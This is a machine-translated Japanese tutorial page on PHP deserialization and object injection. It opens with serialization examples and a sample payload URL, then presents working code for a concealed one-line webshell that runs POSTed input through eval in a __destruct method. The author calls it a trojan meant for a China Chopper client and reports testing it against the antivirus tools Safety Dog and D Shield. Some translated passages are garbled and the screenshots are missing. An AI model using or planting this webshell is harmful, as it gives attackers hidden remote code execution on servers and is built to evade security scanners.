ホームページ >バックエンド開発 >PHPチュートリアル >PHP デシリアライゼーションの脆弱性の詳細な説明
最近、私は友人たちと PHP の逆シリアル化の脆弱性について研究しましたが、その逆シリアル化の脆弱性を利用して 1 文のトロイの木馬を作成するのは非常に効果的であると突然思いつきました。この記事では主に PHP デシリアライゼーションの脆弱性について詳しく説明し、皆様のお役に立てれば幸いです。
0x01 PHP デシリアライズ
PHP デシリアライズと言えば、まず PHP シリアル化について簡単に説明する必要があります。 PHP シリアル化は、クロススクリプトなどの送信を容易にするために、オブジェクト、配列、文字列などをバイト ストリームに変換します。 PHP の逆シリアル化は、シリアル化されたバイト ストリームをオブジェクト、文字、配列などに復元することです。ただし、PHP のシリアル化はオブジェクトを保存しないメソッドです。
<?php class A{ var $test = "demo"; } $a = new A(); // 生成a对象 $b = serialize($a); // 序列化a对象为b $c = unserialize($b); // 反序列化b对象为c print_r($b); // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";} echo "\n"; print_r($c->test); // 输出对象c中test的值:demo ?>
PHP クラスには、マジック関数と呼ばれる特殊な関数本体があり、マジック関数名は、__construct、__destruct、__toString、__sleep、__wakeup などの記号 __ で始まります。これらの関数は、オブジェクトの作成時の __construct、オブジェクトの破棄時の __destruct、オブジェクトが文字列として使用される時の __toString など、特定の状況で自動的に呼び出されます。
逆シリアル化するとき、逆シリアル化されたオブジェクトにマジック関数がある場合、unserialize() 関数を使用するとそれもトリガーされます。このようにして、unserialize() エントリを制御できるようになると、オブジェクト インジェクションの脆弱性が発生する可能性があります。
<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
たとえば、上記のコードでは、ペイロードは http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test" として構築されます。 ;s:5:" hello";}
逆シリアル化後、スクリプトの最後で _destruct 関数が呼び出され、テスト変数が上書きされて hello が出力されます。
この脆弱性を利用して入力変数を制御し、それらをシリアル化されたオブジェクトに結合できます。次に、_destruct() 関数で eval を呼び出してシリアル化されたオブジェクト内のステートメントを実行するなど、マジック関数を構築します。
<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test); } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?>
キッチンナイフのダイレクトリンク:
Safety Dog:
結局のところ、このトロイの木馬は通常のファイルとあまりにも似ているので、アンチキル効果はありませんとても良い。ここではセーフティドッグとDシールドのみをテストし、残りは自己テストです。
そして、これは多くの変形を引き起こす可能性があります。ここではデシリアライゼーションの脆弱性のみを使用します。結局のところ、CMS のコード実行の脆弱性が発見される前に、他の脆弱性も使用される可能性があります。通常のものではなくなったファイル。
関連する推奨事項:
以上がPHP デシリアライゼーションの脆弱性の詳細な説明の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。